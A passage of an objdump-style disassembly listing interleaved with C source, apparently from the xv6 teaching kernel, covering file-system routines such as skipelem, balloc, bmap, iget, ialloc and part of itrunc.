80100f43: c7 45 e4 00 06 00 00 movl $0x600,-0x1c(%ebp)
80100f4a: eb 95 jmp 80100ee1 <filewrite+0x4a>
panic("short filewrite");
80100f4c: 83 ec 0c sub $0xc,%esp
80100f4f: 68 af 69 10 80 push $0x801069af
80100f54: e8 03 f4 ff ff call 8010035c <panic>
}
return i == n ? n : -1;
80100f59: 3b 7d 10 cmp 0x10(%ebp),%edi
80100f5c: 74 0d je 80100f6b <filewrite+0xd4>
80100f5e: b8 ff ff ff ff mov $0xffffffff,%eax
}
panic("filewrite");
}
80100f63: 8d 65 f4 lea -0xc(%ebp),%esp
80100f66: 5b pop %ebx
80100f67: 5e pop %esi
80100f68: 5f pop %edi
80100f69: 5d pop %ebp
80100f6a: c3 ret
return i == n ? n : -1;
80100f6b: 8b 45 10 mov 0x10(%ebp),%eax
80100f6e: eb f3 jmp 80100f63 <filewrite+0xcc>
panic("filewrite");
80100f70: 83 ec 0c sub $0xc,%esp
80100f73: 68 b5 69 10 80 push $0x801069b5
80100f78: e8 df f3 ff ff call 8010035c <panic>
return -1;
80100f7d: b8 ff ff ff ff mov $0xffffffff,%eax
80100f82: eb df jmp 80100f63 <filewrite+0xcc>
80100f84 <skipelem>:
// skipelem("a", name) = "", setting name = "a"
// skipelem("", name) = skipelem("////", name) = 0
//
static char*
skipelem(char *path, char *name)
{
80100f84: 55 push %ebp
80100f85: 89 e5 mov %esp,%ebp
80100f87: 57 push %edi
80100f88: 56 push %esi
80100f89: 53 push %ebx
80100f8a: 83 ec 0c sub $0xc,%esp
80100f8d: 89 d6 mov %edx,%esi
char *s;
int len;
while(*path == '/')
80100f8f: 0f b6 10 movzbl (%eax),%edx
80100f92: 80 fa 2f cmp $0x2f,%dl
80100f95: 75 05 jne 80100f9c <skipelem+0x18>
path++;
80100f97: 83 c0 01 add $0x1,%eax
80100f9a: eb f3 jmp 80100f8f <skipelem+0xb>
if(*path == 0)
80100f9c: 84 d2 test %dl,%dl
80100f9e: 74 59 je 80100ff9 <skipelem+0x75>
80100fa0: 89 c3 mov %eax,%ebx
return 0;
s = path;
while(*path != '/' && *path != 0)
80100fa2: 0f b6 13 movzbl (%ebx),%edx
80100fa5: 80 fa 2f cmp $0x2f,%dl
80100fa8: 0f 95 c1 setne %cl
80100fab: 84 d2 test %dl,%dl
80100fad: 0f 95 c2 setne %dl
80100fb0: 84 d1 test %dl,%cl
80100fb2: 74 05 je 80100fb9 <skipelem+0x35>
path++;
80100fb4: 83 c3 01 add $0x1,%ebx
80100fb7: eb e9 jmp 80100fa2 <skipelem+0x1e>
len = path - s;
80100fb9: 89 df mov %ebx,%edi
80100fbb: 29 c7 sub %eax,%edi
if(len >= DIRSIZ)
80100fbd: 83 ff 0d cmp $0xd,%edi
80100fc0: 7e 11 jle 80100fd3 <skipelem+0x4f>
memmove(name, s, DIRSIZ);
80100fc2: 83 ec 04 sub $0x4,%esp
80100fc5: 6a 0e push $0xe
80100fc7: 50 push %eax
80100fc8: 56 push %esi
80100fc9: e8 7f 30 00 00 call 8010404d <memmove>
80100fce: 83 c4 10 add $0x10,%esp
80100fd1: eb 17 jmp 80100fea <skipelem+0x66>
else {
memmove(name, s, len);
80100fd3: 83 ec 04 sub $0x4,%esp
80100fd6: 57 push %edi
80100fd7: 50 push %eax
80100fd8: 56 push %esi
80100fd9: e8 6f 30 00 00 call 8010404d <memmove>
name[len] = 0;
80100fde: c6 04 3e 00 movb $0x0,(%esi,%edi,1)
80100fe2: 83 c4 10 add $0x10,%esp
80100fe5: eb 03 jmp 80100fea <skipelem+0x66>
}
while(*path == '/')
path++;
80100fe7: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80100fea: 80 3b 2f cmpb $0x2f,(%ebx)
80100fed: 74 f8 je 80100fe7 <skipelem+0x63>
return path;
}
80100fef: 89 d8 mov %ebx,%eax
80100ff1: 8d 65 f4 lea -0xc(%ebp),%esp
80100ff4: 5b pop %ebx
80100ff5: 5e pop %esi
80100ff6: 5f pop %edi
80100ff7: 5d pop %ebp
80100ff8: c3 ret
return 0;
80100ff9: bb 00 00 00 00 mov $0x0,%ebx
80100ffe: eb ef jmp 80100fef <skipelem+0x6b>
80101000 <bzero>:
{
80101000: 55 push %ebp
80101001: 89 e5 mov %esp,%ebp
80101003: 53 push %ebx
80101004: 83 ec 0c sub $0xc,%esp
bp = bread(dev, bno);
80101007: 52 push %edx
80101008: 50 push %eax
80101009: e8 62 f1 ff ff call 80100170 <bread>
8010100e: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
80101010: 8d 40 5c lea 0x5c(%eax),%eax
80101013: 83 c4 0c add $0xc,%esp
80101016: 68 00 02 00 00 push $0x200
8010101b: 6a 00 push $0x0
8010101d: 50 push %eax
8010101e: e8 aa 2f 00 00 call 80103fcd <memset>
log_write(bp);
80101023: 89 1c 24 mov %ebx,(%esp)
80101026: e8 55 19 00 00 call 80102980 <log_write>
brelse(bp);
8010102b: 89 1c 24 mov %ebx,(%esp)
8010102e: e8 ae f1 ff ff call 801001e1 <brelse>
}
80101033: 83 c4 10 add $0x10,%esp
80101036: 8b 5d fc mov -0x4(%ebp),%ebx
80101039: c9 leave
8010103a: c3 ret
8010103b <bfree>:
{
8010103b: 55 push %ebp
8010103c: 89 e5 mov %esp,%ebp
8010103e: 57 push %edi
8010103f: 56 push %esi
80101040: 53 push %ebx
80101041: 83 ec 14 sub $0x14,%esp
80101044: 89 c3 mov %eax,%ebx
80101046: 89 d6 mov %edx,%esi
bp = bread(dev, BBLOCK(b, sb));
80101048: 89 d0 mov %edx,%eax
8010104a: c1 e8 0c shr $0xc,%eax
8010104d: 03 05 d8 09 11 80 add 0x801109d8,%eax
80101053: 50 push %eax
80101054: 53 push %ebx
80101055: e8 16 f1 ff ff call 80100170 <bread>
8010105a: 89 c3 mov %eax,%ebx
bi = b % BPB;
8010105c: 89 f7 mov %esi,%edi
8010105e: 81 e7 ff 0f 00 00 and $0xfff,%edi
m = 1 << (bi % 8);
80101064: 89 f1 mov %esi,%ecx
80101066: 83 e1 07 and $0x7,%ecx
80101069: b8 01 00 00 00 mov $0x1,%eax
8010106e: d3 e0 shl %cl,%eax
if((bp->data[bi/8] & m) == 0)
80101070: 83 c4 10 add $0x10,%esp
80101073: c1 ff 03 sar $0x3,%edi
80101076: 0f b6 54 3b 5c movzbl 0x5c(%ebx,%edi,1),%edx
8010107b: 0f b6 ca movzbl %dl,%ecx
8010107e: 85 c1 test %eax,%ecx
80101080: 74 24 je 801010a6 <bfree+0x6b>
bp->data[bi/8] &= ~m;
80101082: f7 d0 not %eax
80101084: 21 d0 and %edx,%eax
80101086: 88 44 3b 5c mov %al,0x5c(%ebx,%edi,1)
log_write(bp);
8010108a: 83 ec 0c sub $0xc,%esp
8010108d: 53 push %ebx
8010108e: e8 ed 18 00 00 call 80102980 <log_write>
brelse(bp);
80101093: 89 1c 24 mov %ebx,(%esp)
80101096: e8 46 f1 ff ff call 801001e1 <brelse>
}
8010109b: 83 c4 10 add $0x10,%esp
8010109e: 8d 65 f4 lea -0xc(%ebp),%esp
801010a1: 5b pop %ebx
801010a2: 5e pop %esi
801010a3: 5f pop %edi
801010a4: 5d pop %ebp
801010a5: c3 ret
panic("freeing free block");
801010a6: 83 ec 0c sub $0xc,%esp
801010a9: 68 bf 69 10 80 push $0x801069bf
801010ae: e8 a9 f2 ff ff call 8010035c <panic>
801010b3 <balloc>:
{
801010b3: 55 push %ebp
801010b4: 89 e5 mov %esp,%ebp
801010b6: 57 push %edi
801010b7: 56 push %esi
801010b8: 53 push %ebx
801010b9: 83 ec 1c sub $0x1c,%esp
801010bc: 89 45 d8 mov %eax,-0x28(%ebp)
for(b = 0; b < sb.size; b += BPB){
801010bf: be 00 00 00 00 mov $0x0,%esi
801010c4: eb 14 jmp 801010da <balloc+0x27>
brelse(bp);
801010c6: 83 ec 0c sub $0xc,%esp
801010c9: ff 75 e4 pushl -0x1c(%ebp)
801010cc: e8 10 f1 ff ff call 801001e1 <brelse>
for(b = 0; b < sb.size; b += BPB){
801010d1: 81 c6 00 10 00 00 add $0x1000,%esi
801010d7: 83 c4 10 add $0x10,%esp
801010da: 39 35 c0 09 11 80 cmp %esi,0x801109c0
801010e0: 76 75 jbe 80101157 <balloc+0xa4>
bp = bread(dev, BBLOCK(b, sb));
801010e2: 8d 86 ff 0f 00 00 lea 0xfff(%esi),%eax
801010e8: 85 f6 test %esi,%esi
801010ea: 0f 49 c6 cmovns %esi,%eax
801010ed: c1 f8 0c sar $0xc,%eax
801010f0: 83 ec 08 sub $0x8,%esp
801010f3: 03 05 d8 09 11 80 add 0x801109d8,%eax
801010f9: 50 push %eax
801010fa: ff 75 d8 pushl -0x28(%ebp)
801010fd: e8 6e f0 ff ff call 80100170 <bread>
80101102: 89 45 e4 mov %eax,-0x1c(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101105: 83 c4 10 add $0x10,%esp
80101108: b8 00 00 00 00 mov $0x0,%eax
8010110d: 3d ff 0f 00 00 cmp $0xfff,%eax
80101112: 7f b2 jg 801010c6 <balloc+0x13>
80101114: 8d 1c 06 lea (%esi,%eax,1),%ebx
80101117: 89 5d e0 mov %ebx,-0x20(%ebp)
8010111a: 3b 1d c0 09 11 80 cmp 0x801109c0,%ebx
80101120: 73 a4 jae 801010c6 <balloc+0x13>
m = 1 << (bi % 8);
80101122: 99 cltd
80101123: c1 ea 1d shr $0x1d,%edx
80101126: 8d 0c 10 lea (%eax,%edx,1),%ecx
80101129: 83 e1 07 and $0x7,%ecx
8010112c: 29 d1 sub %edx,%ecx
8010112e: ba 01 00 00 00 mov $0x1,%edx
80101133: d3 e2 shl %cl,%edx
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101135: 8d 48 07 lea 0x7(%eax),%ecx
80101138: 85 c0 test %eax,%eax
8010113a: 0f 49 c8 cmovns %eax,%ecx
8010113d: c1 f9 03 sar $0x3,%ecx
80101140: 89 4d dc mov %ecx,-0x24(%ebp)
80101143: 8b 7d e4 mov -0x1c(%ebp),%edi
80101146: 0f b6 4c 0f 5c movzbl 0x5c(%edi,%ecx,1),%ecx
8010114b: 0f b6 f9 movzbl %cl,%edi
8010114e: 85 d7 test %edx,%edi
80101150: 74 12 je 80101164 <balloc+0xb1>
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101152: 83 c0 01 add $0x1,%eax
80101155: eb b6 jmp 8010110d <balloc+0x5a>
panic("balloc: out of blocks");
80101157: 83 ec 0c sub $0xc,%esp
8010115a: 68 d2 69 10 80 push $0x801069d2
8010115f: e8 f8 f1 ff ff call 8010035c <panic>
bp->data[bi/8] |= m; // Mark block in use.
80101164: 09 ca or %ecx,%edx
80101166: 8b 45 e4 mov -0x1c(%ebp),%eax
80101169: 8b 75 dc mov -0x24(%ebp),%esi
8010116c: 88 54 30 5c mov %dl,0x5c(%eax,%esi,1)
log_write(bp);
80101170: 83 ec 0c sub $0xc,%esp
80101173: 89 c6 mov %eax,%esi
80101175: 50 push %eax
80101176: e8 05 18 00 00 call 80102980 <log_write>
brelse(bp);
8010117b: 89 34 24 mov %esi,(%esp)
8010117e: e8 5e f0 ff ff call 801001e1 <brelse>
bzero(dev, b + bi);
80101183: 89 da mov %ebx,%edx
80101185: 8b 45 d8 mov -0x28(%ebp),%eax
80101188: e8 73 fe ff ff call 80101000 <bzero>
}
8010118d: 8b 45 e0 mov -0x20(%ebp),%eax
80101190: 8d 65 f4 lea -0xc(%ebp),%esp
80101193: 5b pop %ebx
80101194: 5e pop %esi
80101195: 5f pop %edi
80101196: 5d pop %ebp
80101197: c3 ret
80101198 <bmap>:
{
80101198: 55 push %ebp
80101199: 89 e5 mov %esp,%ebp
8010119b: 57 push %edi
8010119c: 56 push %esi
8010119d: 53 push %ebx
8010119e: 83 ec 1c sub $0x1c,%esp
801011a1: 89 c3 mov %eax,%ebx
801011a3: 89 d7 mov %edx,%edi
if(bn < NDIRECT){
801011a5: 83 fa 0b cmp $0xb,%edx
801011a8: 76 45 jbe 801011ef <bmap+0x57>
bn -= NDIRECT;
801011aa: 8d 72 f4 lea -0xc(%edx),%esi
if(bn < NINDIRECT){
801011ad: 83 fe 7f cmp $0x7f,%esi
801011b0: 77 7f ja 80101231 <bmap+0x99>
if((addr = ip->addrs[NDIRECT]) == 0)
801011b2: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
801011b8: 85 c0 test %eax,%eax
801011ba: 74 4a je 80101206 <bmap+0x6e>
bp = bread(ip->dev, addr);
801011bc: 83 ec 08 sub $0x8,%esp
801011bf: 50 push %eax
801011c0: ff 33 pushl (%ebx)
801011c2: e8 a9 ef ff ff call 80100170 <bread>
801011c7: 89 c7 mov %eax,%edi
if((addr = a[bn]) == 0){
801011c9: 8d 44 b0 5c lea 0x5c(%eax,%esi,4),%eax
801011cd: 89 45 e4 mov %eax,-0x1c(%ebp)
801011d0: 8b 30 mov (%eax),%esi
801011d2: 83 c4 10 add $0x10,%esp
801011d5: 85 f6 test %esi,%esi
801011d7: 74 3c je 80101215 <bmap+0x7d>
brelse(bp);
801011d9: 83 ec 0c sub $0xc,%esp
801011dc: 57 push %edi
801011dd: e8 ff ef ff ff call 801001e1 <brelse>
return addr;
801011e2: 83 c4 10 add $0x10,%esp
}
801011e5: 89 f0 mov %esi,%eax
801011e7: 8d 65 f4 lea -0xc(%ebp),%esp
801011ea: 5b pop %ebx
801011eb: 5e pop %esi
801011ec: 5f pop %edi
801011ed: 5d pop %ebp
801011ee: c3 ret
if((addr = ip->addrs[bn]) == 0)
801011ef: 8b 74 90 5c mov 0x5c(%eax,%edx,4),%esi
801011f3: 85 f6 test %esi,%esi
801011f5: 75 ee jne 801011e5 <bmap+0x4d>
ip->addrs[bn] = addr = balloc(ip->dev);
801011f7: 8b 00 mov (%eax),%eax
801011f9: e8 b5 fe ff ff call 801010b3 <balloc>
801011fe: 89 c6 mov %eax,%esi
80101200: 89 44 bb 5c mov %eax,0x5c(%ebx,%edi,4)
return addr;
80101204: eb df jmp 801011e5 <bmap+0x4d>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101206: 8b 03 mov (%ebx),%eax
80101208: e8 a6 fe ff ff call 801010b3 <balloc>
8010120d: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx)
80101213: eb a7 jmp 801011bc <bmap+0x24>
a[bn] = addr = balloc(ip->dev);
80101215: 8b 03 mov (%ebx),%eax
80101217: e8 97 fe ff ff call 801010b3 <balloc>
8010121c: 89 c6 mov %eax,%esi
8010121e: 8b 45 e4 mov -0x1c(%ebp),%eax
80101221: 89 30 mov %esi,(%eax)
log_write(bp);
80101223: 83 ec 0c sub $0xc,%esp
80101226: 57 push %edi
80101227: e8 54 17 00 00 call 80102980 <log_write>
8010122c: 83 c4 10 add $0x10,%esp
8010122f: eb a8 jmp 801011d9 <bmap+0x41>
panic("bmap: out of range");
80101231: 83 ec 0c sub $0xc,%esp
80101234: 68 e8 69 10 80 push $0x801069e8
80101239: e8 1e f1 ff ff call 8010035c <panic>
8010123e <iget>:
{
8010123e: 55 push %ebp
8010123f: 89 e5 mov %esp,%ebp
80101241: 57 push %edi
80101242: 56 push %esi
80101243: 53 push %ebx
80101244: 83 ec 28 sub $0x28,%esp
80101247: 89 c7 mov %eax,%edi
80101249: 89 55 e4 mov %edx,-0x1c(%ebp)
acquire(&icache.lock);
8010124c: 68 e0 09 11 80 push $0x801109e0
80101251: e8 c3 2c 00 00 call 80103f19 <acquire>
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101256: 83 c4 10 add $0x10,%esp
empty = 0;
80101259: be 00 00 00 00 mov $0x0,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010125e: bb 14 0a 11 80 mov $0x80110a14,%ebx
80101263: eb 0a jmp 8010126f <iget+0x31>
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101265: 85 f6 test %esi,%esi
80101267: 74 3b je 801012a4 <iget+0x66>
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101269: 81 c3 90 00 00 00 add $0x90,%ebx
8010126f: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
80101275: 73 35 jae 801012ac <iget+0x6e>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
80101277: 8b 43 08 mov 0x8(%ebx),%eax
8010127a: 85 c0 test %eax,%eax
8010127c: 7e e7 jle 80101265 <iget+0x27>
8010127e: 39 3b cmp %edi,(%ebx)
80101280: 75 e3 jne 80101265 <iget+0x27>
80101282: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101285: 39 4b 04 cmp %ecx,0x4(%ebx)
80101288: 75 db jne 80101265 <iget+0x27>
ip->ref++;
8010128a: 83 c0 01 add $0x1,%eax
8010128d: 89 43 08 mov %eax,0x8(%ebx)
release(&icache.lock);
80101290: 83 ec 0c sub $0xc,%esp
80101293: 68 e0 09 11 80 push $0x801109e0
80101298: e8 e5 2c 00 00 call 80103f82 <release>
return ip;
8010129d: 83 c4 10 add $0x10,%esp
801012a0: 89 de mov %ebx,%esi
801012a2: eb 32 jmp 801012d6 <iget+0x98>
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801012a4: 85 c0 test %eax,%eax
801012a6: 75 c1 jne 80101269 <iget+0x2b>
empty = ip;
801012a8: 89 de mov %ebx,%esi
801012aa: eb bd jmp 80101269 <iget+0x2b>
if(empty == 0)
801012ac: 85 f6 test %esi,%esi
801012ae: 74 30 je 801012e0 <iget+0xa2>
ip->dev = dev;
801012b0: 89 3e mov %edi,(%esi)
ip->inum = inum;
801012b2: 8b 45 e4 mov -0x1c(%ebp),%eax
801012b5: 89 46 04 mov %eax,0x4(%esi)
ip->ref = 1;
801012b8: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
801012bf: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
801012c6: 83 ec 0c sub $0xc,%esp
801012c9: 68 e0 09 11 80 push $0x801109e0
801012ce: e8 af 2c 00 00 call 80103f82 <release>
return ip;
801012d3: 83 c4 10 add $0x10,%esp
}
801012d6: 89 f0 mov %esi,%eax
801012d8: 8d 65 f4 lea -0xc(%ebp),%esp
801012db: 5b pop %ebx
801012dc: 5e pop %esi
801012dd: 5f pop %edi
801012de: 5d pop %ebp
801012df: c3 ret
panic("iget: no inodes");
801012e0: 83 ec 0c sub $0xc,%esp
801012e3: 68 fb 69 10 80 push $0x801069fb
801012e8: e8 6f f0 ff ff call 8010035c <panic>
801012ed <readsb>:
{
801012ed: f3 0f 1e fb endbr32
801012f1: 55 push %ebp
801012f2: 89 e5 mov %esp,%ebp
801012f4: 53 push %ebx
801012f5: 83 ec 0c sub $0xc,%esp
bp = bread(dev, 1);
801012f8: 6a 01 push $0x1
801012fa: ff 75 08 pushl 0x8(%ebp)
801012fd: e8 6e ee ff ff call 80100170 <bread>
80101302: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
80101304: 8d 40 5c lea 0x5c(%eax),%eax
80101307: 83 c4 0c add $0xc,%esp
8010130a: 6a 1c push $0x1c
8010130c: 50 push %eax
8010130d: ff 75 0c pushl 0xc(%ebp)
80101310: e8 38 2d 00 00 call 8010404d <memmove>
brelse(bp);
80101315: 89 1c 24 mov %ebx,(%esp)
80101318: e8 c4 ee ff ff call 801001e1 <brelse>
}
8010131d: 83 c4 10 add $0x10,%esp
80101320: 8b 5d fc mov -0x4(%ebp),%ebx
80101323: c9 leave
80101324: c3 ret
80101325 <iinit>:
{
80101325: f3 0f 1e fb endbr32
80101329: 55 push %ebp
8010132a: 89 e5 mov %esp,%ebp
8010132c: 53 push %ebx
8010132d: 83 ec 0c sub $0xc,%esp
initlock(&icache.lock, "icache");
80101330: 68 0b 6a 10 80 push $0x80106a0b
80101335: 68 e0 09 11 80 push $0x801109e0
8010133a: e8 8a 2a 00 00 call 80103dc9 <initlock>
for(i = 0; i < NINODE; i++) {
8010133f: 83 c4 10 add $0x10,%esp
80101342: bb 00 00 00 00 mov $0x0,%ebx
80101347: 83 fb 31 cmp $0x31,%ebx
8010134a: 7f 23 jg 8010136f <iinit+0x4a>
initsleeplock(&icache.inode[i].lock, "inode");
8010134c: 83 ec 08 sub $0x8,%esp
8010134f: 68 12 6a 10 80 push $0x80106a12
80101354: 8d 14 db lea (%ebx,%ebx,8),%edx
80101357: 89 d0 mov %edx,%eax
80101359: c1 e0 04 shl $0x4,%eax
8010135c: 05 20 0a 11 80 add $0x80110a20,%eax
80101361: 50 push %eax
80101362: e8 47 29 00 00 call 80103cae <initsleeplock>
for(i = 0; i < NINODE; i++) {
80101367: 83 c3 01 add $0x1,%ebx
8010136a: 83 c4 10 add $0x10,%esp
8010136d: eb d8 jmp 80101347 <iinit+0x22>
readsb(dev, &sb);
8010136f: 83 ec 08 sub $0x8,%esp
80101372: 68 c0 09 11 80 push $0x801109c0
80101377: ff 75 08 pushl 0x8(%ebp)
8010137a: e8 6e ff ff ff call 801012ed <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
8010137f: ff 35 d8 09 11 80 pushl 0x801109d8
80101385: ff 35 d4 09 11 80 pushl 0x801109d4
8010138b: ff 35 d0 09 11 80 pushl 0x801109d0
80101391: ff 35 cc 09 11 80 pushl 0x801109cc
80101397: ff 35 c8 09 11 80 pushl 0x801109c8
8010139d: ff 35 c4 09 11 80 pushl 0x801109c4
801013a3: ff 35 c0 09 11 80 pushl 0x801109c0
801013a9: 68 78 6a 10 80 push $0x80106a78
801013ae: e8 76 f2 ff ff call 80100629 <cprintf>
}
801013b3: 83 c4 30 add $0x30,%esp
801013b6: 8b 5d fc mov -0x4(%ebp),%ebx
801013b9: c9 leave
801013ba: c3 ret
801013bb <ialloc>:
{
801013bb: f3 0f 1e fb endbr32
801013bf: 55 push %ebp
801013c0: 89 e5 mov %esp,%ebp
801013c2: 57 push %edi
801013c3: 56 push %esi
801013c4: 53 push %ebx
801013c5: 83 ec 1c sub $0x1c,%esp
801013c8: 8b 45 0c mov 0xc(%ebp),%eax
801013cb: 89 45 e0 mov %eax,-0x20(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
801013ce: bb 01 00 00 00 mov $0x1,%ebx
801013d3: 89 5d e4 mov %ebx,-0x1c(%ebp)
801013d6: 39 1d c8 09 11 80 cmp %ebx,0x801109c8
801013dc: 76 76 jbe 80101454 <ialloc+0x99>
bp = bread(dev, IBLOCK(inum, sb));
801013de: 89 d8 mov %ebx,%eax
801013e0: c1 e8 03 shr $0x3,%eax
801013e3: 83 ec 08 sub $0x8,%esp
801013e6: 03 05 d4 09 11 80 add 0x801109d4,%eax
801013ec: 50 push %eax
801013ed: ff 75 08 pushl 0x8(%ebp)
801013f0: e8 7b ed ff ff call 80100170 <bread>
801013f5: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + inum%IPB;
801013f7: 89 d8 mov %ebx,%eax
801013f9: 83 e0 07 and $0x7,%eax
801013fc: c1 e0 06 shl $0x6,%eax
801013ff: 8d 7c 06 5c lea 0x5c(%esi,%eax,1),%edi
if(dip->type == 0){ // a free inode
80101403: 83 c4 10 add $0x10,%esp
80101406: 66 83 3f 00 cmpw $0x0,(%edi)
8010140a: 74 11 je 8010141d <ialloc+0x62>
brelse(bp);
8010140c: 83 ec 0c sub $0xc,%esp
8010140f: 56 push %esi
80101410: e8 cc ed ff ff call 801001e1 <brelse>
for(inum = 1; inum < sb.ninodes; inum++){
80101415: 83 c3 01 add $0x1,%ebx
80101418: 83 c4 10 add $0x10,%esp
8010141b: eb b6 jmp 801013d3 <ialloc+0x18>
memset(dip, 0, sizeof(*dip));
8010141d: 83 ec 04 sub $0x4,%esp
80101420: 6a 40 push $0x40
80101422: 6a 00 push $0x0
80101424: 57 push %edi
80101425: e8 a3 2b 00 00 call 80103fcd <memset>
dip->type = type;
8010142a: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
8010142e: 66 89 07 mov %ax,(%edi)
log_write(bp); // mark it allocated on the disk
80101431: 89 34 24 mov %esi,(%esp)
80101434: e8 47 15 00 00 call 80102980 <log_write>
brelse(bp);
80101439: 89 34 24 mov %esi,(%esp)
8010143c: e8 a0 ed ff ff call 801001e1 <brelse>
return iget(dev, inum);
80101441: 8b 55 e4 mov -0x1c(%ebp),%edx
80101444: 8b 45 08 mov 0x8(%ebp),%eax
80101447: e8 f2 fd ff ff call 8010123e <iget>
}
8010144c: 8d 65 f4 lea -0xc(%ebp),%esp
8010144f: 5b pop %ebx
80101450: 5e pop %esi
80101451: 5f pop %edi
80101452: 5d pop %ebp
80101453: c3 ret
panic("ialloc: no inodes");
80101454: 83 ec 0c sub $0xc,%esp
80101457: 68 18 6a 10 80 push $0x80106a18
8010145c: e8 fb ee ff ff call 8010035c <panic>
80101461 <iupdate>:
{
80101461: f3 0f 1e fb endbr32
80101465: 55 push %ebp
80101466: 89 e5 mov %esp,%ebp
80101468: 56 push %esi
80101469: 53 push %ebx
8010146a: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
8010146d: 8b 43 04 mov 0x4(%ebx),%eax
80101470: c1 e8 03 shr $0x3,%eax
80101473: 83 ec 08 sub $0x8,%esp
80101476: 03 05 d4 09 11 80 add 0x801109d4,%eax
8010147c: 50 push %eax
8010147d: ff 33 pushl (%ebx)
8010147f: e8 ec ec ff ff call 80100170 <bread>
80101484: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101486: 8b 43 04 mov 0x4(%ebx),%eax
80101489: 83 e0 07 and $0x7,%eax
8010148c: c1 e0 06 shl $0x6,%eax
8010148f: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
dip->type = ip->type;
80101493: 0f b7 53 50 movzwl 0x50(%ebx),%edx
80101497: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
8010149a: 0f b7 53 52 movzwl 0x52(%ebx),%edx
8010149e: 66 89 50 02 mov %dx,0x2(%eax)
dip->minor = ip->minor;
801014a2: 0f b7 53 54 movzwl 0x54(%ebx),%edx
801014a6: 66 89 50 04 mov %dx,0x4(%eax)
dip->nlink = ip->nlink;
801014aa: 0f b7 53 56 movzwl 0x56(%ebx),%edx
801014ae: 66 89 50 06 mov %dx,0x6(%eax)
dip->size = ip->size;
801014b2: 8b 53 58 mov 0x58(%ebx),%edx
801014b5: 89 50 08 mov %edx,0x8(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801014b8: 83 c3 5c add $0x5c,%ebx
801014bb: 83 c0 0c add $0xc,%eax
801014be: 83 c4 0c add $0xc,%esp
801014c1: 6a 34 push $0x34
801014c3: 53 push %ebx
801014c4: 50 push %eax
801014c5: e8 83 2b 00 00 call 8010404d <memmove>
log_write(bp);
801014ca: 89 34 24 mov %esi,(%esp)
801014cd: e8 ae 14 00 00 call 80102980 <log_write>
brelse(bp);
801014d2: 89 34 24 mov %esi,(%esp)
801014d5: e8 07 ed ff ff call 801001e1 <brelse>
}
801014da: 83 c4 10 add $0x10,%esp
801014dd: 8d 65 f8 lea -0x8(%ebp),%esp
801014e0: 5b pop %ebx
801014e1: 5e pop %esi
801014e2: 5d pop %ebp
801014e3: c3 ret
801014e4 <itrunc>:
{
801014e4: 55 push %ebp
801014e5: 89 e5 mov %esp,%ebp
801014e7: 57 push %edi
801014e8: 56 push %esi
801014e9: 53 push %ebx
801014ea: 83 ec 1c sub $0x1c,%esp
801014ed: 89 c6 mov %eax,%esi
for(i = 0; i < NDIRECT; i++){
801014ef: bb 00 00 00 00 mov $0x0,%ebx
801014f4: eb 03 jmp 801014f9 <itrunc+0x15>
801014f6: 83 c3 01 add $0x1,%ebx
801014f9: 83 fb 0b cmp $0xb,%ebx
801014fc: 7f 19 jg 80101517 <itrunc+0x33>
if(ip->addrs[i]){
801014fe: 8b 54 9e 5c mov 0x5c(%esi,%ebx,4),%edx
80101502: 85 d2 test %edx,%edx
80101504: 74 f0 je 801014f6 <itrunc+0x12>
bfree(ip->dev, ip->addrs[i]);
80101506: 8b 06 mov (%esi),%eax
80101508: e8 2e fb ff ff call 8010103b <bfree>
ip->addrs[i] = 0;
8010150d: c7 44 9e 5c 00 00 00 movl $0x0,0x5c(%esi,%ebx,4)
80101514: 00
80101515: eb df jmp 801014f6 <itrunc+0x12>
if(ip->addrs[NDIRECT]){
80101517: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
8010151d: 85 c0 test %eax,%eax
8010151f: 75 1b jne 8010153c <itrunc+0x58>
ip->size = 0;
80101521: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101528: 83 ec 0c sub $0xc,%esp
8010152b: 56 push %esi
8010152c: e8 30 ff ff ff call 80101461 <iupdate>
}
80101531: 83 c4 10 add $0x10,%esp
80101534: 8d 65 f4 lea -0xc(%ebp),%esp
80101537: 5b pop %ebx
80101538: 5e pop %esi
80101539: 5f pop %edi
8010153a: 5d pop %ebp
8010153b: c3 ret
bp = bread(ip->dev, ip->addrs[NDIRECT]);
8010153c: 83 ec 08 sub $0x8,%esp
8010153f: 50 push %eax
80101540: ff 36 pushl (%esi)
80101542: e8 29 ec ff ff call 80100170 <bread>
80101547: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
8010154a: 8d 78 5c lea 0x5c(%eax),%edi
for(j = 0; j < NINDIRECT; j++){
8010154d: 83 c4 10 add $0x10,%esp
80101550: bb 00 00 00 00 mov $0x0,%ebx
80101555: eb 0a jmp 80101561 <itrunc+0x7d>
bfree(ip->dev, a[j]);
